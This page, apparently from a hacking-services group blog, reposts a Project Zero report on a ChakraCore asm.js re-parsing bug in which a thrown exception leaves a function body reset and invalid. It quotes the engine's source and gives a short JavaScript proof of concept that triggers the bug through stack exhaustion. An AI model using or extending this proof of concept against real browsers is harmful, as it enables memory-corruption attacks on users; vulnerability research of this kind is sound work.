Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863549134

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1327

Here's the method used to re-parse asmjs modules.
void JavascriptFunction::ReparseAsmJsModule(ScriptFunction** functionRef)
{
    ParseableFunctionInfo* functionInfo = (*functionRef)->GetParseableFunctionInfo();
    Assert(functionInfo);
    functionInfo->GetFunctionBody()->AddDeferParseAttribute();
    functionInfo->GetFunctionBody()->ResetEntryPoint();
    functionInfo->GetFunctionBody()->ResetInParams();

    FunctionBody * funcBody = functionInfo->Parse(functionRef);

#if ENABLE_PROFILE_INFO
    // This is the first call to the function, ensure dynamic profile info
    funcBody->EnsureDynamicProfileInfo();
#endif

    (*functionRef)->UpdateUndeferredBody(funcBody);
}

First, it resets the function body and then re-parses it. But it doesn't consider that "functionInfo->Parse(functionRef);" may throw an exception. So in the case, the function body remains reseted(invalid).

We can make it throw an exception simply by exhausting the stack. 

PoC:
-->

function Module() {
    'use asm';

    function f() {
    }

    return f;
}

function recur() {
    try {
        recur();
    } catch (e) {
        Module(1);
    }
}

recur();